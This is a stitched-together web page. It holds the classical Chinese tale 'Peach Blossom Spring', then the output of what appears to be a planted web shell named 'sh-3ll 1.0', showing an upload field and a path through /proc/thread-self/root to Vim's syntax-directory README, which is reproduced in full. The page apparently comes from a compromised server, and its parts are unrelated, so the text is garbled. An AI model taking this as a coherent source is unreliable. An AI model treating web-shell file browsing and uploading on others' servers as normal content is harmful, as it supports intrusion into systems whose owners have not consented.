晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/proc/thread-self/root/usr/share/vim/vim80/syntax/
Upload File :
Current File : //proc/thread-self/root/usr/share/vim/vim80/syntax/README.txt
This directory contains Vim scripts for syntax highlighting.

These scripts are not for a language, but are used by Vim itself:

syntax.vim	Used for the ":syntax on" command.  Uses synload.vim.

manual.vim	Used for the ":syntax manual" command.  Uses synload.vim.

synload.vim	Contains autocommands to load a language file when a certain
		file name (extension) is used.  And sets up the Syntax menu
		for the GUI.

nosyntax.vim	Used for the ":syntax off" command.  Undo the loading of
		synload.vim.


A few special files:

2html.vim	Converts any highlighted file to HTML (GUI only).
colortest.vim	Check for color names and actual color on screen.
hitest.vim	View the current highlight settings.
whitespace.vim  View Tabs and Spaces.


If you want to write a syntax file, read the docs at ":help usr_44.txt".

If you make a new syntax file which would be useful for others, please send it
to Bram@vim.org.  Include instructions for detecting the file type for this
language, by file name extension or by checking a few lines in the file.
And please write the file in a portable way, see ":help 44.12".

If you have remarks about an existing file, send them to the maintainer of
that file.  Only when you get no response send a message to Bram@vim.org.

If you are the maintainer of a syntax file and make improvements, send the new
version to Bram@vim.org.

For further info see ":help syntax" in Vim.